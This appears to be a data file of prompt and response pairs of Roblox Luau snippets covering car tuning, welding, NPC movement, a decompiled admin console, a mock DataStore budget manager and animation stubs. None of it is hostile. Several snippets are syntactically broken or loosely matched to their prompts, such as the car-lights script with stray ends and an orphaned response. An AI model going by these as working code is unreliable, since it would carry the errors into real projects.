	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)


Prompt:
--	if EntityData.All[equippedTool.name] and EntityData.All[equippedTool.name].saddleLevel then
---- determine if part is a child of a critter that can be saddled
--		local saddleTarget
--		local withinMagnitude = (targetPart.Position - player.Character.PrimaryPart.Position).magnitude <= 15
--		local thisEntityInfo = EntityData.All[targetPart.Parent.Name]
--		local saddleable = (thisEntityInfo and thisEntityInfo.saddleable and (thisEntityInfo.saddleLevel <= EntityData.All[equippedTool.name].saddleLevel))
--		if targetPart.Parent:IsA("Model") and targetPart.Parent ~= workspace then
--			if saddleable  and withinMagnitude and not (saddledCritters[targetPart.Parent] and saddledCritters[targetPart.Parent].owner ~= player) then
----remove their saddle tool
--				GU.RemoveFromToolSlot(player, hasEquipped, 1)


Prompt:
-- MasterWeld by Zephyred
-- Works for all types of parts, unions etc.

Response:
function WeldPair(x, y)
	local weld = Instance.new("Weld",x)
	weld.Part0 = x
	weld.Part1 = y
	weld.C1 = y.CFrame:toObjectSpace(x.CFrame);
end

function WeldAll(model, main) -- model can be anything
	if model:IsA("BasePart") then WeldPair(main, model) end
	for _,v in pairs(model:GetChildren()) do WeldAll(v, main) end
end

function UnanchorAll(model) -- model can be anything
	if (model:IsA("BasePart")) then model.Anchored = false end
	for _,v in pairs(model:GetChildren()) do UnanchorAll(v) end
end

WeldAll(script.Parent.Body, script.Parent.MainSeat)
UnanchorAll(script.Parent)

script:Destroy() -- Done, clean script up.


Prompt: --// Main Variables

Response:
local DetectedNPC = nil
local Detected = false
local Chatting = false
local Skip = false
local Exit = false


Prompt:
-- If true, then the heat NumberValues will reflect the values
-- contained in the script.

Response: config.DiagnosticsEnabled = false


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
client = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
service = nil;
gTable = nil;
return function(p1)
	local l__PlayerGui__1 = service.Players.LocalPlayer.PlayerGui;
	local l__Parent__2 = script.Parent.Parent;
	local l__Frame__3 = l__Parent__2.Frame;
	local l__ScrollingFrame__4 = l__Parent__2.Frame.ScrollingFrame;
	local v5 = client.Remote.Get("Setting", { "SplitKey", "ConsoleKeyCode", "BatchKey" });
	local v6 = client.Remote.Get("FormattedCommands") or {};
	l__Frame__3.Position = UDim2.new(0, 0, 0, -200);
	l__Frame__3.Visible = false;
	l__Frame__3.Size = UDim2.new(1, 0, 0, 40);
	l__ScrollingFrame__4.Visible = false;
	if client.Variables.ConsoleOpen then
		if client.Variables.ChatEnabled then
			service.StarterGui:SetCoreGuiEnabled("Chat", true);
		end;
		if client.Variables.PlayerListEnabled then
			service.StarterGui:SetCoreGuiEnabled("PlayerList", true);
		end;
		if client.UI.Get("Notif") then
			client.UI.Get("Notif", nil, true).Object.LABEL.Visible = true;
		end;
		local v7 = client.UI.Get("Chat", nil, true);
		if v7 then
			v7.Object.Drag.Visible = true;
		end;
		local v8 = client.UI.Get("PlayerList", nil, true);
		if v8 then
			v8.Object.Drag.Visible = true;
		end;
		local v9 = client.UI.Get("HintHolder", nil, true);
		if v9 then
			v9.Object.Frame.Visible = true;
		end;
	end;
	client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat");
	client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled("PlayerList");
	local u1 = false;
	local l__PlayerList__2 = l__Parent__2.Frame.PlayerList;
	local u3 = false;
	local l__TextBox__4 = l__Parent__2.Frame.TextBox;
	local function u5()
		if l__Parent__2:IsDescendantOf(game) and not u1 then
			u1 = true;
			l__ScrollingFrame__4:ClearAllChildren();
			l__ScrollingFrame__4.CanvasSize = UDim2.new(0, 0, 0, 0);
			l__ScrollingFrame__4.ScrollingEnabled = false;
			l__Frame__3.Size = UDim2.new(1, 0, 0, 40);
			l__ScrollingFrame__4.Visible = false;
			l__PlayerList__2.Visible = false;
			scrollOpen = false;
			if client.Variables.ChatEnabled then
				service.StarterGui:SetCoreGuiEnabled("Chat", true);
			end;
			if client.Variables.PlayerListEnabled then
				service.StarterGui:SetCoreGuiEnabled("PlayerList", true);
			end;
			if client.UI.Get("Notif") then
				client.UI.Get("Notif", nil, true).Object.LABEL.Visible = true;
			end;
			local v10 = client.UI.Get("Chat", nil, true);
			if v10 then
				v10.Object.Drag.Visible = true;
			end;
			local v11 = client.UI.Get("PlayerList", nil, true);
			if v11 then
				v11.Object.Drag.Visible = true;
			end;
			local v12 = client.UI.Get("HintHolder", nil, true);
			if v12 then
				v12.Object.Frame.Visible = true;
			end;
			service.SafeTweenPos(l__Frame__3, UDim2.new(0, 0, 0, -200), "Out", "Linear", 0.2, true);
			u1 = false;
			u3 = false;
		end;
	end;
	l__TextBox__4.FocusLost:connect(function(p2)
		if p2 and l__TextBox__4.Text ~= "" and string.len(l__TextBox__4.Text) > 1 then
			client.Remote.Send("ProcessCommand", l__TextBox__4.Text);
		end;
		u5();
	end);
	local function u6()
		if l__Parent__2:IsDescendantOf(game) and not u1 then
			u1 = true;
			client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat");
			client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled("PlayerList");
			service.StarterGui:SetCoreGuiEnabled("Chat", false);
			service.StarterGui:SetCoreGuiEnabled("PlayerList", false);
			l__ScrollingFrame__4.ScrollingEnabled = true;
			l__PlayerList__2.ScrollingEnabled = true;
			if client.UI.Get("Notif") then
				client.UI.Get("Notif", nil, true).Object.LABEL.Visible = false;
			end;
			local v13 = client.UI.Get("Chat", nil, true);
			if v13 then
				v13.Object.Drag.Visible = false;
			end;
			local v14 = client.UI.Get("PlayerList", nil, true);
			if v14 then
				v14.Object.Drag.Visible = false;
			end;
			local v15 = client.UI.Get("HintHolder", nil, true);
			if v15 then
				v15.Object.Frame.Visible = false;
			end;
			l__Frame__3.Size = UDim2.new(1, 0, 0, 40);
			l__ScrollingFrame__4.Visible = false;
			l__PlayerList__2.Visible = false;
			scrollOpen = false;
			l__TextBox__4.Text = "";
			l__Frame__3.Visible = true;
			l__Frame__3.Position = UDim2.new(0, 0, 0, 0);
			l__TextBox__4:CaptureFocus();
			l__TextBox__4.Text = "";
			wait();
			l__TextBox__4.Text = "";
			u1 = false;
			u3 = true;
		end;
	end;
	local l__BatchKey__7 = v5.BatchKey;
	local l__SplitKey__8 = v5.SplitKey;
	local l__Entry__9 = l__Parent__2.Entry;
	l__TextBox__4.Changed:connect(function(p3)
		if p3 ~= "Text" or l__TextBox__4.Text == "" or not u6 then
			if p3 == "Text" and l__TextBox__4.Text == "" and u3 then
				service.SafeTweenSize(l__Frame__3, UDim2.new(1, 0, 0, 40), nil, nil, 0.3, nil, function()
					if scrollOpen then
						l__Frame__3.Size = UDim2.new(1, 0, 0, 140);
					end;
				end);
				l__ScrollingFrame__4.Visible = false;
				l__PlayerList__2.Visible = false;
				scrollOpen = false;
				l__ScrollingFrame__4:ClearAllChildren();
				l__ScrollingFrame__4.CanvasSize = UDim2.new(0, 0, 0, 0);
			end;
			return;
		end;
		l__ScrollingFrame__4:ClearAllChildren();
		l__PlayerList__2:ClearAllChildren();
		local v16 = l__TextBox__4.Text;
		if string.match(v16, ".*" .. l__BatchKey__7 .. "([^']+)") then
			v16 = string.match(string.match(v16, ".*" .. l__BatchKey__7 .. "([^']+)"), "^%s*(.-)%s*$");
		end;
		local v17 = 0;
		local v18 = string.match(v16, ".+" .. l__SplitKey__8 .. "(.*)$");
		local l__next__19 = next;
		local v20, v21 = service.Players:GetChildren();
		while true do
			local v22, v23 = l__next__19(v20, v21);
			if not v22 then
				break;
			end;
			v21 = v22;
			if v18 then
				if string.sub(string.lower(tostring(v23)), 1, #v18) == string.lower(v18) or string.match(v16, l__SplitKey__8 .. "$") then
					local v24 = l__Entry__9:Clone();
					v24.Text = tostring(v23);
					v24.TextXAlignment = "Right";
					v24.Visible = true;
					v24.Parent = l__PlayerList__2;
					v24.Position = UDim2.new(0, 0, 0, 20 * v17);
					v24.MouseButton1Down:connect(function()
						l__TextBox__4.Text = l__TextBox__4.Text .. tostring(v23);
						l__TextBox__4:CaptureFocus();
					end);
					v17 = v17 + 1;
				end;
			elseif string.match(v16, l__SplitKey__8 .. "$") then
				v24 = l__Entry__9:Clone();
				v24.Text = tostring(v23);
				v24.TextXAlignment = "Right";
				v24.Visible = true;
				v24.Parent = l__PlayerList__2;
				v24.Position = UDim2.new(0, 0, 0, 20 * v17);
				v24.MouseButton1Down:connect(function()
					l__TextBox__4.Text = l__TextBox__4.Text .. tostring(v23);
					l__TextBox__4:CaptureFocus();
				end);
				v17 = v17 + 1;
			end;
		end;
		l__PlayerList__2.CanvasSize = UDim2.new(0, 0, 0, v17 * 20);
		local v25 = 0;
		for v26, v27 in next, v6 do
			if string.sub(string.lower(v27), 1, #v16) == string.lower(v16) or string.find(string.lower(v27), string.match(string.lower(v16), "^(.-)" .. l__SplitKey__8) or string.lower(v16)) then
				if not scrollOpen then
					l__Frame__3.Size = UDim2.new(1, 0, 0, 140);
					l__ScrollingFrame__4.Visible = true;
					l__PlayerList__2.Visible = true;
					scrollOpen = true;
				end;
				local v28 = l__Entry__9:clone();
				v28.Visible = true;
				v28.Parent = l__ScrollingFrame__4;
				v28.Text = v27;
				v28.Position = UDim2.new(0, 0, 0, 20 * v25);
				v28.MouseButton1Down:connect(function()
					l__TextBox__4.Text = v28.Text;
					l__TextBox__4:CaptureFocus();
				end);
				v25 = v25 + 1;
			end;
		end;
		l__ScrollingFrame__4.CanvasSize = UDim2.new(0, 0, 0, v25 * 20);
	end);
	local l__ConsoleKeyCode__10 = v5.ConsoleKeyCode;
	gTable.BindEvent(service.UserInputService.InputBegan, function(p4)
		if not service.UserInputService:GetFocusedTextBox() and rawequal(p4.UserInputType, Enum.UserInputType.Keyboard) and p4.KeyCode.Name == (client.Variables.CustomConsoleKey or l__ConsoleKeyCode__10) then
			if u3 then
				u5();
			else
				u6();
			end;
			client.Variables.ConsoleOpen = u3;
		end;
	end);
	gTable:Ready();
end;


Prompt:
---- THIS CODE IS FOR SERVERSIDE ANIMATIONS
--[[
for i,v in pairs(workspace:GetChildren()) do
	if v.Name == "Butterfly" then
		local NewScript = script.ButterflyScriptNew:Clone()
		NewScript.Parent = v;
		NewScript.Disabled = false
	end
end--]]


Prompt: -- Fonction pour faire déplacer le NPC vers la source d'eau la plus proche

Response:
local function moveToWaterSource(npc)
	-- Vérifie si le NPC existe et s'il est en vie
	if npc and npc.Parent and npc:FindFirstChild("Humanoid") and npc.Humanoid.Health > 0 then
		local npcHumanoid = npc.Humanoid

		-- Obtient la position actuelle du NPC
		local npcPosition = npcHumanoid.RootPart.Position

		-- Trouve la source d'eau la plus proche
		local nearestWaterSource = findNearestWaterSource(npcPosition)

		-- Vérifie si une source d'eau a été trouvée
		if nearestWaterSource then
			-- Fait tourner le NPC vers la source d'eau
			npcHumanoid:MoveTo(nearestWaterSource)
		end
	end
end


Prompt: -- Remade by Truenus

Response:
wait(0.05)
local car = script.Parent.Parent.Car.Value
local GBrake = script.Parent.Parent.Values.Brake
function on()
		car.Body.Lights.RN.BrickColor=BrickColor.New("Maroon")
		car.Body.Lights.RN.Material=Enum.Material.Neon
		car.Body.Lights.Light.Material=Enum.Material.Neon
		car.Body.Lights.Light.Light.Enabled = true
		car.Body.Lights.Light.BrickColor=BrickColor.New("Institutional white")
		car.Body.Lights.RN.Light.Enabled = true
function off()
	car.Body.Lights.Light.BrickColor=BrickColor.New("Dark stone grey")
		car.Body.Lights.RN.Material=Enum.Material.SmoothPlastic
		car.Body.Lights.RN.BrickColor=BrickColor.New("Crimson")
		car.Body.Lights.Light.Light.Enabled = false
		car.Body.Lights.Light.Material=Enum.Material.SmoothPlastic
		car.Body.Lights.RN.Light.Enabled = false
		for i,v in pairs(car.Body.Lights:GetChildren()) do
			if v.Name == "Light2" then
				v.Material=Enum.Material.SmoothPlastic
				v.Light.Enabled = false
			end
		end
end
end
function on2()
	for i,v in pairs(car.Body.Lights:GetChildren()) do
		if v.Name == "Light2" then
			v.Material=Enum.Material.Neon
			v.Light.Enabled = true
			for i,v in pairs(car.Body.Lights:GetChildren()) do
				if v.Name == "Light" then
					v.BrickColor=BrickColor.new("Dark stone grey")
					v.Material = Enum.Material.SmoothPlastic
					v.Light.Enabled = false
				end
			end
		end
	end
end
function auto()
	if (game.Lighting:GetMinutesAfterMidnight()<390 or game.Lighting:GetMinutesAfterMidnight()>1050) then
		car.Body.Lights.Light.Material=Enum.Material.Neon
		car.Body.Lights.Light.Light.Enabled = true
		car.Body.Lights.RN.BrickColor=BrickColor.New("Bright red")
		car.Body.Lights.RN.Light.Enabled = true
	else
		car.Body.Lights.RN.Light.Enabled = false
		car.Body.Lights.RN.Material=Enum.Material.SmoothPlastic
		car.Body.Lights.RN.BrickColor=BrickColor.New("Maroon")
		car.Body.Lights.Light.Light.Enabled = false
		car.Body.Lights.Light.Material=Enum.Material.SmoothPlastic
	end
end

script.Parent.MouseButton1Click:connect(function()
	if script.Parent.Text == "Lights: Auto" then
		on()
		script.Parent.Text = "Lights: On (1)"
	elseif script.parent.Text == "Lights: On (1)" then
		on2()
		script.Parent.Text = "Lights: On (2)"
	elseif script.Parent.Text == "Lights: On (2)" then
		off()
		script.Parent.Text = "Lights: Off"
	elseif script.parent.Text == "Lights: Off" then
		auto()
		script.Parent.Text = "Lights: Auto"
	end
end)

script.Parent.Parent.Values.Brake.Changed:connect(function()
	for i,v in pairs(car.Body.Lights:GetChildren()) do
		if v.Name=="R" then
			if v.Light.Enabled then
				if GBrake.Value>0 then
					v.Transparency=0
					v.Light.Brightness=12
					v.Light.Range=15
				else
					v.Transparency=.3
					v.Light.Brightness=8
					v.Light.Range=10
				end
			else
				v.Transparency=0
				if GBrake.Value>0 then
					v.Material=Enum.Material.Neon
				else
					v.Material=Enum.Material.SmoothPlastic
				end
			end
		elseif v.Name=="RR" then
			if GBrake.Value>0 then
				v.Material=Enum.Material.Neon
				if v.Light.Enabled then
					v.Transparency = 1
				else
					v.Transparency = 0
				end
			else
				v.Transparency = 1
				if v.Light.Enabled then
					v.Material=Enum.Material.Neon
				else
					v.Material=Enum.Material.SmoothPlastic
				end
			end
		end
	end
end)

game.Lighting.Changed:connect(auto)
auto()


Response:
script.Parent.Parent.ll2.Transparency = 0
script.Parent.Parent.l2.Transparency = 0
script.Parent.Parent.h2.Transparency = 0
script.Parent.Parent.rr2.Transparency = 0
end

function on()
	isOn = true
  script.Parent.Parent.ex.exit1.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex.exit2.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex.exit3.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex.exit4.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex.exit5.SurfaceGui.TextLabel.TextTransparency = 0
script.Parent.Parent.ex.exit6.SurfaceGui.TextLabel.TextTransparency = 0


Prompt: -- declarations

Response:
local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Human")
local pose = "Standing"

local toolAnim = "None"
local toolAnimTime = 0

local isSeated = false


Prompt: -- Request limit bookkeeping:

Response:
local Budgets = {}

local budgetRequestQueues = {
	[Enum.DataStoreRequestType.GetAsync] = {};
	[Enum.DataStoreRequestType.GetSortedAsync] = {};
	[Enum.DataStoreRequestType.OnUpdate] = {};
	[Enum.DataStoreRequestType.SetIncrementAsync] = {};
	[Enum.DataStoreRequestType.SetIncrementSortedAsync] = {};
}

local function initBudget()
	for requestType, const in pairs(ConstantsMapping) do
		Budgets[requestType] = const.START
	end
	Budgets[Enum.DataStoreRequestType.UpdateAsync] = math.min(
		Budgets[Enum.DataStoreRequestType.GetAsync],
		Budgets[Enum.DataStoreRequestType.SetIncrementAsync]
	)
end

local function updateBudget(req, const, dt, n)
	if not Constants.BUDGETING_ENABLED then
		return
	end
	local rate = const.RATE + n * const.RATE_PLR
	Budgets[req] = math.min(
		Budgets[req] + dt * rate,
		const.MAX_FACTOR * rate
	)
end

local function stealBudget(budget)
	if not Constants.BUDGETING_ENABLED then
		return
	end
	for _, requestType in pairs(budget) do
		if Budgets[requestType] then
			Budgets[requestType] = math.max(0, Budgets[requestType] - 1)
		end
	end
	Budgets[Enum.DataStoreRequestType.UpdateAsync] = math.min(
		Budgets[Enum.DataStoreRequestType.GetAsync],
		Budgets[Enum.DataStoreRequestType.SetIncrementAsync]
	)
end

local function checkBudget(budget)
	if not Constants.BUDGETING_ENABLED then
		return true
	end
	for _, requestType in pairs(budget) do
		if Budgets[requestType] and Budgets[requestType] < 1 then
			return false
		end
	end
	return true
end

local isFrozen = false

if RunService:IsServer() then
	-- Only do budget/throttle updating on server (in case package required on client)

	initBudget()

	task.spawn(function() -- Thread that increases budgets and de-throttles requests periodically
		local lastCheck = tick()
		while task.wait(Constants.BUDGET_UPDATE_INTERVAL) do
			local now = tick()
			local dt = (now - lastCheck) / 60
			lastCheck = now
			local n = #Players:GetPlayers()

			if not isFrozen then
				for requestType, const in pairs(ConstantsMapping) do
					updateBudget(requestType, const, dt, n)
				end
				Budgets[Enum.DataStoreRequestType.UpdateAsync] = math.min(
					Budgets[Enum.DataStoreRequestType.GetAsync],
					Budgets[Enum.DataStoreRequestType.SetIncrementAsync]
				)
			end

			for _, budgetRequestQueue in pairs(budgetRequestQueues) do
				for i = #budgetRequestQueue, 1, -1 do
					local request = budgetRequestQueue[i]

					local thread = request.Thread
					local budget = request.Budget
					local key = request.Key
					local lock = request.Lock
					local cache = request.Cache

					if not (lock and (lock[key] or tick() - (cache[key] or 0) < Constants.WRITE_COOLDOWN)) and checkBudget(budget) then
						table.remove(budgetRequestQueue, i)
						stealBudget(budget)
						coroutine.resume(thread)
					end
				end
			end
		end
	end)

	game:BindToClose(function()
		for requestType, const in pairs(ConstantsMapping) do
			Budgets[requestType] = math.max(
				Budgets[requestType],
				Constants.BUDGET_ONCLOSE_BASE * (const.RATE / Constants.BUDGET_BASE)
			)
		end
		Budgets[Enum.DataStoreRequestType.UpdateAsync] = math.min(
			Budgets[Enum.DataStoreRequestType.GetAsync],
			Budgets[Enum.DataStoreRequestType.SetIncrementAsync]
		)
	end)

end

function MockDataStoreManager.GetGlobalData()
	return Data.GlobalDataStore
end

function MockDataStoreManager.GetData(name, scope)
	assert(type(name) == "string")
	assert(type(scope) == "string")

	if not Data.DataStore[name] then
		Data.DataStore[name] = {}
	end
	if not Data.DataStore[name][scope] then
		Data.DataStore[name][scope] = {}
	end

	return Data.DataStore[name][scope]
end

function MockDataStoreManager.GetOrderedData(name, scope)
	assert(type(name) == "string")
	assert(type(scope) == "string")

	if not Data.OrderedDataStore[name] then
		Data.OrderedDataStore[name] = {}
	end
	if not Data.OrderedDataStore[name][scope] then
		Data.OrderedDataStore[name][scope] = {}
	end

	return Data.OrderedDataStore[name][scope]
end

function MockDataStoreManager.GetDataInterface(data)
	return Interfaces[data]
end

function MockDataStoreManager.SetDataInterface(data, interface)
	assert(type(data) == "table")
	assert(type(interface) == "table")

	Interfaces[data] = interface
end

function MockDataStoreManager.GetBudget(requestType)
	if Constants.BUDGETING_ENABLED then
		return math.floor(Budgets[requestType] or 0)
	else
		return math.huge
	end
end

function MockDataStoreManager.SetBudget(requestType, budget)
	assert(type(budget) == "number")
	budget = math.max(budget, 0)

	if requestType == Enum.DataStoreRequestType.UpdateAsync then
		Budgets[Enum.DataStoreRequestType.SetIncrementAsync] = budget
		Budgets[Enum.DataStoreRequestType.GetAsync] = budget
	end

	if Budgets[requestType] then
		Budgets[requestType] = budget
	end
end

function MockDataStoreManager.ResetBudget()
	initBudget()
end

function MockDataStoreManager.FreezeBudgetUpdates()
	isFrozen = true
end

function MockDataStoreManager.ThawBudgetUpdates()
	isFrozen = false
end

function MockDataStoreManager.YieldForWriteLockAndBudget(callback, key, writeLock, writeCache, budget)
	assert(type(callback) == "function")
	assert(type(key) == "string")
	assert(type(writeLock) == "table")
	assert(type(writeCache) == "table")
	assert(#budget > 0)

	local mainRequestType = budget[1]

	if #budgetRequestQueues[mainRequestType] >= Constants.THROTTLE_QUEUE_SIZE then
		return false -- no room in throttle queue
	end

	callback() -- would i.e. trigger a warning in output

	table.insert(budgetRequestQueues[mainRequestType], 1, {
		Key = key;
		Lock = writeLock;
		Cache = writeCache;
		Thread = coroutine.running();
		Budget = budget;
	})
	coroutine.yield()

	return true
end

function MockDataStoreManager.YieldForBudget(callback, budget)
	assert(type(callback) == "function")
	assert(#budget > 0)

	local mainRequestType = budget[1]

	if checkBudget(budget) then
		stealBudget(budget)
	elseif #budgetRequestQueues[mainRequestType] >= Constants.THROTTLE_QUEUE_SIZE then
		return false -- no room in throttle queue
	else
		callback() -- would i.e. trigger a warning in output

		table.insert(budgetRequestQueues[mainRequestType], 1, {
			After = 0; -- no write lock
			Thread = coroutine.running();
			Budget = budget;
		})
		coroutine.yield()
	end

	return true
end

function MockDataStoreManager.ExportToJSON()
	local export = {}

	if next(Data.GlobalDataStore) ~= nil then -- GlobalDataStore not empty
		export.GlobalDataStore = Data.GlobalDataStore
	end
	export.DataStore = Utils.prepareDataStoresForExport(Data.DataStore) -- can be nil
	export.OrderedDataStore = Utils.prepareDataStoresForExport(Data.OrderedDataStore) -- can be nil

	return HttpService:JSONEncode(export)
end


Prompt:
-- Bind function to update event. Used to update player's orientation if FilteringEnabled
-- is true (otherwise the rotation would not replicate from the rotating player)

Response:
updateEvent.OnServerEvent:Connect(function(player, neckC0, shoulderC0)
	local character = player.Character
	if character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
		character.Torso.Neck.C0 = neckC0
		character.Torso:FindFirstChild("Right Shoulder").C0 = shoulderC0
	else
		character.Head.Neck.C0 = neckC0
		character.RightUpperArm:FindFirstChild("RightShoulder").C0 = shoulderC0
	end
end)


Prompt:
--s.Pitch = 0.7
--[[for x = 1, 50 do
s.Pitch = s.Pitch + 0.20 1.900
s:play()
wait(0.001)
end]]


Prompt: --Services

Response: local RunService = game:GetService("RunService")


Prompt:
--[[
	Creates a new promise that receives the result of this promise.

	The given callbacks are invoked depending on that result.
]]

Response:
function Promise.prototype:_andThen(traceback, successHandler, failureHandler)
	self._unhandledRejection = false

	-- If we are already cancelled, we return a cancelled Promise
	if self._status == Promise.Status.Cancelled then
		local promise = Promise.new(function() end)
		promise:cancel()

		return promise
	end

	-- Create a new promise to follow this part of the chain
	return Promise._new(traceback, function(resolve, reject, onCancel)
		-- Our default callbacks just pass values onto the next promise.
		-- This lets success and failure cascade correctly!

		local successCallback = resolve
		if successHandler then
			successCallback = createAdvancer(traceback, successHandler, resolve, reject)
		end

		local failureCallback = reject
		if failureHandler then
			failureCallback = createAdvancer(traceback, failureHandler, resolve, reject)
		end

		if self._status == Promise.Status.Started then
			-- If we haven't resolved yet, put ourselves into the queue
			table.insert(self._queuedResolve, successCallback)
			table.insert(self._queuedReject, failureCallback)

			onCancel(function()
				-- These are guaranteed to exist because the cancellation handler is guaranteed to only
				-- be called at most once
				if self._status == Promise.Status.Started then
					table.remove(self._queuedResolve, table.find(self._queuedResolve, successCallback))
					table.remove(self._queuedReject, table.find(self._queuedReject, failureCallback))
				end
			end)
		elseif self._status == Promise.Status.Resolved then
			-- This promise has already resolved! Trigger success immediately.
			successCallback(unpack(self._values, 1, self._valuesLength))
		elseif self._status == Promise.Status.Rejected then
			-- This promise died a terrible death! Trigger failure immediately.
			failureCallback(unpack(self._values, 1, self._valuesLength))
		end
	end, self)
end


Prompt: -- Services

Response:
local lighting = game:GetService("Lighting")
local tweenService = game:GetService("TweenService")


Prompt:
--[[
	Gets a list of all nodes in the tree for which the given callback returns
	true.
]]

Response:
function TestPlan:findNodes(callback)
	local results = {}
	self:visitAllNodes(function(node)
		if callback(node) then
			table.insert(results, node)
		end
	end)
	return results
end

return TestPlan


Prompt: --// Animations

Response:
local L_165_

function IdleAnim(L_335_arg1)
	L_24_.IdleAnim(L_3_, L_165_, {
		L_45_,
		L_46_,
		L_47_
	});
end;

function EquipAnim(L_336_arg1)
	L_24_.EquipAnim(L_3_, L_165_, {
		L_45_
	});
end;

function UnequipAnim(L_337_arg1)
	L_24_.UnequipAnim(L_3_, L_165_, {
		L_45_
	});
end;

function FireModeAnim(L_338_arg1)
	L_24_.FireModeAnim(L_3_, L_165_, {
		L_45_,
		L_47_,
		L_46_,
		L_55_
	});
end

function ReloadAnim(L_339_arg1)
	L_24_.ReloadAnim(L_3_, L_165_, {
		L_45_,
		L_46_,
		L_47_,
		L_58_,
		L_3_:WaitForChild('Left Arm'),
		L_55_,
		L_49_,
		L_3_:WaitForChild('Right Arm'),
		L_43_
	});
end;

function BoltingBackAnim(L_340_arg1)
	L_24_.BoltingBackAnim(L_3_, L_165_, {
		L_49_
	});
end

function BoltingForwardAnim(L_341_arg1)
	L_24_.BoltingForwardAnim(L_3_, L_165_, {
		L_49_
	});
end

function BoltingForwardAnim(L_342_arg1)
	L_24_.BoltingForwardAnim(L_3_, L_165_, {
		L_49_
	});
end

function BoltBackAnim(L_343_arg1)
	L_24_.BoltBackAnim(L_3_, L_165_, {
		L_49_,
		L_47_,
		L_46_,
		L_45_,
		L_59_
	});
end

function BoltForwardAnim(L_344_arg1)
	L_24_.BoltForwardAnim(L_3_, L_165_, {
		L_49_,
		L_47_,
		L_46_,
		L_45_,
		L_59_
	});
end

function InspectAnim(L_345_arg1)
	L_24_.InspectAnim(L_3_, L_165_, {
		L_47_,
		L_46_
	});
end

function nadeReload(L_346_arg1)
	L_24_.nadeReload(L_3_, L_165_, {
		L_46_,
		L_47_
	});
end

function AttachAnim(L_347_arg1)
	L_24_.AttachAnim(L_3_, L_165_, {
		L_46_,
		L_47_
	});
end

function PatrolAnim(L_348_arg1)
	L_24_.PatrolAnim(L_3_, L_165_, {
		L_46_,
		L_47_
	});
end


Prompt: --After the coin is collected it won't emit particles when touched

Response:
part.Touched:Connect(function(hit)
	if hit.Parent:FindFirstChild("Humanoid") then
		local emitter = part.ParticleEmitter
		emitter.Enabled = false
	end
end)script.Parent.Transparency = 0


Prompt:
-- Sub to me! https://www.youtube.com/channel/UCrG4Cnjcz1mkDopaqPGaW3A
-- My discord! https://discord.gg/6x56rTZ5c8
-- Good luck!

Response:
local mouse = game.Players.LocalPlayer:GetMouse()

function Light()
	local player = game.Players.LocalPlayer
	local playerChar = player.Character
	local playerLight = playerChar.Head:FindFirstChild("Light")

	if playerLight then
		playerLight:Destroy()
	else
		local light = Instance.new("SurfaceLight",playerChar:FindFirstChild("Head"))
		light.Name = "Light"
		light.Range = 60 -- Change lighting range / Изменение диапозона освещения
		light.Angle = 50 -- Change lighting angle / Изменение угла освещения
		light.Shadows = true
		light.Brigtness = 3 -- Change lighting brigtness / Изменение яркости освещения
	end
end

mouse.KeyDown:connect(function(key)

	key = key:lower()
	if key == "f" then
		script.FlashLightSound:Play()
		Light()
	end
end)


Prompt: --// SHITTY CODE \/\/\/

Response:
wait(0.3)

local car = script.Parent.Car.Value
local values = script.Parent.Values
local bodmain = car.Body.MainDiff

local rpm = values.RPM

function update()
	local actrpm = rpm.Value/rpmdiv
	car.drivetrain:FireServer(actrpm,bodmain)
end

while wait(waittime) do
	update()
end


Prompt: --------------| MODIFY COMMANDS |--------------

Response:
SetCommandRankByName = {
	--["jump"] = "VIP";
};
SetCommandRankByTag = {
	["abusive"] = "Admin";
};

};


Prompt: --[[Transmission]]

Response:
	Tune.TransModes		= {"Auto"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)

	--Gear Ratios
Tune.FinalDrive		= 3.7				-- Gearing determines top speed and wheel torque
Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
	--[[Reverse]]	3			,	-- Copy and paste a ratio to add a gear
	--[[Neutral]]	0			,	-- Ratios can also be deleted
	--[[ 1 ]]		2.6			,	-- Reverse, Neutral, and 1st gear are required
	--[[ 2 ]]		0.8			,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)


Prompt: --// Module LoadOrder List; Core modules need to be loaded in a specific order; If you create new "Core" modules make sure you add them here or they won't load

Response:
local LoadingOrder = {
	--// Nearly all modules rely on these to function
	"Logs";
	"Variables";
	"Functions";

	--// Core functionality
	"Core";
	"Remote";
	"Process";

	--// Misc
	"Admin";
	"HTTP";
	"Anti";
	"Commands";
}


Prompt: --Classes

Response:
export type SoundState = {
    Save: (SoundState) -> nil,
    Play: (SoundState) -> nil,
    Resume: (SoundState) -> nil,
    Pause: (SoundState) -> nil,
    Stop: (SoundState) -> nil,
    SetEffects: (SoundState, {[string]: {[string]: any}}) -> nil,
    StateValue: StringValue,
}

export type ClientSound = {
    Update: (ClientSound) -> nil,
}

return {}


Prompt: -- Sounds

Response:
local Soundscape = game.Soundscape
local ExitSound = Soundscape:FindFirstChild("ExitSound")


